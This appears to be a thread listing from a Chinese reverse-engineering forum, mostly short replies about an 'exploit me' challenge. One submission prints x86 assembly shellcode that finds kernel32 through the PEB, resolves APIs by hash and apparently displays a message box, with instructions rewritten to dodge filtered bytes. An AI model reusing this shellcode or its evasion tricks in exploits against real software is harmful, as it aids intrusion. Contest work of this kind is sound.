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[原创]PEDIY祝大家新年进步
祝大家在新的一年里,身体异常愉快。 |
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[转帖]国内外网络存储服务谁更强?
等待GDrive |
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辞旧迎新exploit me挑战赛[题目]
被人看好了。。。 |
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[原创]bughoho的B题提交
这是修改failwest的shellcode 只是简单的代码变形而已 void __declspec(naked) shellfunc() { _asm { push 0x1E380A6A push 0x4FD18963 //push 0x0C917432 mov ax, 0x0B41 add ax, 0x150 push ax mov ax, 0x0B41 add ax, 0x68F1 push ax //mov esi, esp push esp pop esi lea edi, dword ptr [esi-0xC] nop //xor ebx, ebx //mov bh, 4 //sub esp, ebx xor eax,eax mov ah,4 sub esp,eax //mov bx, 0x3233 //push ebx mov ax, 0x0B41 add ax, 0x0B41 add ax, 0x0B41 add ax, 0x1070 push eax push 0x72657375 push esp xor edx, edx mov ebx, dword ptr fs:[edx+0x30] mov ecx, dword ptr [ebx+0xC] mov ecx, dword ptr [ecx+0x1C] //mov ecx, dword ptr [ecx] push dword ptr [ecx] pop ecx mov ebp, dword ptr [ecx+0x8] L018: //lods dword ptr [esi] push dword ptr [esi] pop eax nop inc esi inc esi inc esi inc esi cmp eax, 0x1E380A6A jnz L024 //xchg eax, ebp push ebp push eax pop ebp pop eax call dword ptr [edi-0x8] xchg eax, ebp L024: pushad mov eax, dword ptr [ebp+0x3C] mov ecx, dword ptr [ebp+eax+0x78] add ecx, ebp mov ebx, dword ptr [ecx+0x20] //add ebx, ebp push ebx add dword ptr [esp], ebp pop ebx xor edi, edi L031: inc edi nop //mov esi, dword ptr [ebx+edi*4] //push eax //mov eax, edi //xor ecx, ecx //mov cl, 4 //mul ecx //push ebx //nop //mov dword ptr [esp], eax //pop ebx //push dword ptr [ebx] //pop esi //pop eax push eax mov eax, edi xor edx, edx mov dl, 4 mul edx push eax add dword ptr [esp], ebx pop esi push dword ptr [esi] pop esi pop eax add esi, ebp cdq L035: //movsx eax, byte ptr [esi] xor eax, eax mov al, byte ptr [esi] cmp al, ah je L042 ror edx, 7 add edx, eax inc esi jmp L035 L042: cmp edx, dword ptr [esp+0x1C] jnz L031 mov ebx, dword ptr [ecx+0x24] add ebx, ebp //mov di, word ptr [ebx+edi*2] push word ptr [ebx+edi*2] pop di mov ebx, dword ptr [ecx+0x1C] //add ebx, ebp push ebx add dword ptr [esp], ebp pop ebx add ebp, dword ptr [ebx+edi*4] xchg eax, ebp pop edi stos dword ptr es:[edi] push edi popad cmp eax, 0x1E380A6A jnz L018 nop xor ebx, ebx push ebx push 0x0A6F686F push 0x68677562 mov eax, esp push ebx push eax push eax push ebx call dword ptr [edi-4] push ebx call dword ptr [edi-8] } } |
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辞旧迎新exploit me挑战赛[题目]
提交。。。 |
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辞旧迎新exploit me挑战赛[题目]
可恶,还得写译码器 |
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辞旧迎新exploit me挑战赛[题目]
我要苍天内测号 |
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